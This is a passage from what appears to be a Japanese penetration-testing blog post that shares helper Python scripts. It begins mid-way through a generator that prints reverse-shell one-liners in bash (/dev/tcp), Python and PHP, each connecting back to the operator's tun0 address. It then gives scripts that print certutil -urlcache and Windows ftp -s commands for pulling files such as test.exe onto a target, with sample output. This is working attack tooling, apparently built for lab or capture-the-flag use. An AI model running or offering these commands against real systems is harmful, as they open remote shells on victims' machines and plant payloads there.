parser.add_argument("-p", "--port", required=False, default=443, type=int, help="a port number to connect back")
parser.add_argument("-f", "--format", required=False, choices=["bash", "bash9", "python", "php"], default="bash", help="output format")
args = parser.parse_args()

ip = netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]['addr'] # https://stackoverflow.com/questions/24196932/how-can-i-get-the-ip-address-from-a-nic-network-interface-controller-in-python
port = args.port
if args.format == "bash":
    command = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
elif args.format == "bash9":
    command = f"bash -i 9<>/dev/tcp/{ip}/{port} <&9 >&9 2>&9"
elif args.format == "python":
    python_command_must_not_contains_single_quote = f'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    command = f"python -c '{python_command_must_not_contains_single_quote}'"
elif args.format == "php":
    php_command_must_not_contains_single_quote = f'$sock=fsockopen("{ip}",{port});exec("/bin/bash -i <&3 >&3 2>&3");'
    command = f"php -r '{php_command_must_not_contains_single_quote}'"
else: raise ValueError(args.format)

print(command)

wgetとしてのcertutilコマンド出力スクリプト

こちらのマシンからWindows環境へファイルをアップロードするには、certutil -urlcache -f URL FILENAMEを使うのが簡単だと思います。ただ最後の引数をうっかり忘れてしまってヘクサダンプをさせてしまい、数分待たされる事故が起こりがちです。数回事故らせた後に作りました:

$ ./print_certutil_as_wget_command.py test.exe
certutil -urlcache -f http://198.51.100.1/test.exe test.exe
$
#!/usr/bin/env python3

import argparse
import netifaces

parser = argparse.ArgumentParser(
    description = "print a certutil command such as 'certutil -urlcache -f http://someip/foo.bar foo.bar'",
    formatter_class=argparse.ArgumentDefaultsHelpFormatter)

parser.add_argument("filename", type=str, help="get filename(filepath")
parser.add_argument("-i", "--interface", required=False, default="tun0", type=str, help="a network interface name to connect back")
parser.add_argument("-p", "--port", required=False, default=80, type=int, help="a port number to connect back")

args = parser.parse_args()

ip = netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]['addr'] # https://stackoverflow.com/questions/24196932/how-can-i-get-the-ip-address-from-a-nic-network-interface-controller-in-python
port_part = "" if args.port == 80 else f":{args.port}"

print(f"certutil -urlcache -f http://{ip}{port_part}/{args.filename} {args.filename}")

Windows環境用FTPコマンド向けコマンド用ファイル生成スクリプト

見出し名がややこしいですが、Windows環境用ftpコマンドの-s:filenameオプションへ指定するためのファイルを作成する、一連のリダイレクトコマンドを作成するスクリプトです:

$ ./print_ftp_instruction_commands.py put test.exe
echo "open 198.51.100.1">ftp.txt
echo "USER">>ftp.txt
echo "PASS">>ftp.txt
echo "binary">>ftp.txt
echo "put test.exe">>ftp.txt
echo "bye">>ftp.txt
ftp "-s:ftp.txt"
$
#!/usr/bin/env python3

import argparse
import netifaces

parser = argparse.ArgumentParser(
    description = "print instructions for ftp-command's instruction file. (for ftp -s:ftp.txt)",
    formatter_class=argparse.ArgumentDefaultsHelpFormatter)

parser.add_argument("mode", type=str, choices=["get", "put"], help="get or put")
parser.add_argument("filename", type=str, help="get or put filename")
parser.add_argument("-i", "--interface", required=False, default="tun0", type=str, help="a network interface name to connect back")
parser.add_argument("-u", "--user", required=False, default="USER", type=str, help="ftp username")
parser.add_argument("-p", "--password", required=False, default="PASS", type=str, help="ftp password")
parser.add_argument("-t", "--transmit-type", required=False, choices=["ascii", "binary"], default="binary", help="transmitting type")

args = parser.parse_args()
ip = netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]['addr'] # https://stackoverflow.com/questions/24196932/how-can-i-get-the-ip-address-from-a-nic-network-interface-controller-in-python
command_file = "ftp.txt"
print(f'echo "open {ip}">{command_file}')
print(f'echo "{args.user}">>{command_file}')
print(f'echo "{args.password}">>{command_file}')
print(f'echo "{args.transmit_type}">>{command_file}')
print(f'echo "{args.mode} {args.filename}">>{command_file}')
print(f'echo "bye">>{command_file}')
print(f'ftp "-s:{command_file}"')